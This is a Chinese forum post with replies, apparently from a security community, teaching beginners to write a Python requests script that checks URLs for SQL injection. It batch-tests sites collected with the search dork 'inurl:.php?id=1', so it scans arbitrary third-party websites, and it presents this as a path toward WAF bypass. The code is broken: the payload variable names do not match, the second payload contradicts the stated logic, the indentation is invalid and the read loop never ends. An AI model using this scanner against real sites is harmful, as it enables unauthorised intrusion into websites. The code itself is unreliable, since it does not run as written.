用户
搜索
  • TA的每日心情
    慵懒
    2 小时前
  • 签到天数: 70 天

    连续签到: 3 天

    [LV.6]常住居民II

    版主

    Rank: 7Rank: 7Rank: 7

    25

    主题

    143

    帖子

    1314

    魔法币
    收听
    0
    粉丝
    1
    注册时间
    2016-6-28

    i春秋认证积极活跃奖

    发表于 2020-3-23 18:45:44 41149
    本帖最后由 Adian大蝈蝈 于 2020-3-23 10:46 编辑

    前言

    我觉得Kali里面啊D最好用!
    KaliD.jpg

    正文

    言归正传,由题,你可以看到,这是一期十分新手向的文章,是时候脱离脚本小子的范畴了!从写自己的第一个工具开始吧!
    准备作案工具:

    • 一台电脑
    • Python3.X

    Python强大丰富的第三方库让我们的安全工具开发变得方便和简单,比如requests和scapy,也就是说import在手天下我有,所以在此向各位看官强烈安利Python
    python.jpg

    相信以各位的聪明才智,Python环境的安装应该是难不倒大家的,网上太多的教程,我就不在此赘述了。先介绍一下我们今天要用的requests库吧

    Requests 是用python语言编写的第三方库,基于 urllib,采用 Apache2 Licensed 开源协议的 HTTP 库

    语句 功能
    requests.request() 构造请求
    requests.get() 获取HTML网页,用于GET
    requests.head() 获取网页信息头
    requests.post() 提交POST请求
    requests.put() 对应HTTP协议中的PUT
    requests.patch() 对应HTTP协议中的PATCH
    requests.delete() 对应HTTP协议中的DELETE

    安装方法:

    pip install requests

    在下载安装完成之后,我们敲上最重要的一行代码来调用requests库

    from requests import *

    然后接下来们大致捋一捋思路

    1. 要实现SQL注入漏洞的简单判断(新手向嘛)
    2. 需要循环来批量判断

    你可能觉得听起来很简单,但是实际上做起来 更简单!
    先说实现注入漏洞的简单判断,如果你也是小学生教程和各种上古教程的受害者,那么你一定知道这个方法

    and 1=1
    and 1=2

    因为我们上面再调用requests库的时候用的是from requests import *而不是import requests,我们可以直接用get()来代替requests.get(),我们get().headers.get('Content-Length')这样可以得到返回的数据包头Content-Length值,只要判断and 1=1的情况下与原网页一致,and 1=2的时候与其他两个都不一样就好(会报错)
    所以我们定义一个函数并且新建一个list来写这两个语句

    def SqlInjection(url):
        Payload = ['and 1=1','and 2=2']
        v1 = get(url).headers.get('Content-Length')
        v2 = get(url+payload[0]).headers.get('Content-Length')
        v3 = get(url+payload[1]).headers.get('Content-Length')
        if v1 == v2 and v2 != v3:
        return True
        else:
        return False

    现在判断注入功能基本实现,其实还有很多种判断方法,这里只说最简单的一点,毕竟新手向
    我们再来实现批量,我们可以用采集器批量采集,也可以百度或者谷歌

    inurl:.php?id=1

    就可以得到所有在url中含有.php?id=1,也就是可能出现sql注入漏洞的页面,当然也可以自己写,requests库写爬虫也杠杠的,我们把结果导出到Website.txt中,接下来就更简单了,基本的文件读写和循环语句

    f = open("Website.txt","r") #只读
    while True:
        url = f.readline()
        result = SqlInjection(url)
        if result == True:
            print ("%s Is Usable"%url)
        else:
            print ("%s Is Unusable"%url)
    f.close()

    其实有更好的办法,例如把可用的注入点导入到一个文件里等等,这里只说一个最简单的(毕竟新手向嘛!手动狗头)总的来说就是

        from requests import *
        def SqlInjection(url):
            Payload = ['and 1=1','and 2=2']
            v1 = get(url).headers.get('Content-Length')
            v2 = get(url+payload[0]).headers.get('Content-Length')
            v3 = get(url+payload[1]).headers.get('Content-Length')
            if v1 == v2 and v2 != v3:
            return True
            else:
            return False
        f = open("Website.txt","r") #只读
        while True:
            url = f.readline()
            result = SqlInjection(url)
            if result == True:
                print ("%s Is Usable"%url)
            else:
                print ("%s Is Unusable"%url)
        f.close()

    就是这么简单,从一个简单的判断注入,到根据学习可以更好的判断注入,到可以实现注入语句的执行和返回,再到识别甚至绕过waf,下一个sqlmap不是梦!

    My blog :http://www.e-wolf.top
    谢谢老哥的新手教程!表示新手可以看懂!
    使用道具 举报 回复
    手机用户gHkL8l 发表于 2020-3-25 06:12
    谢谢老哥的新手教程!表示新手可以看懂!

    哈哈哈,因为我也是新手
    My blog :http://www.e-wolf.top
    使用道具 举报 回复
    我觉得啊D里面的BT5也不错
    使用道具 举报 回复

    谢谢老哥的新手教程
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册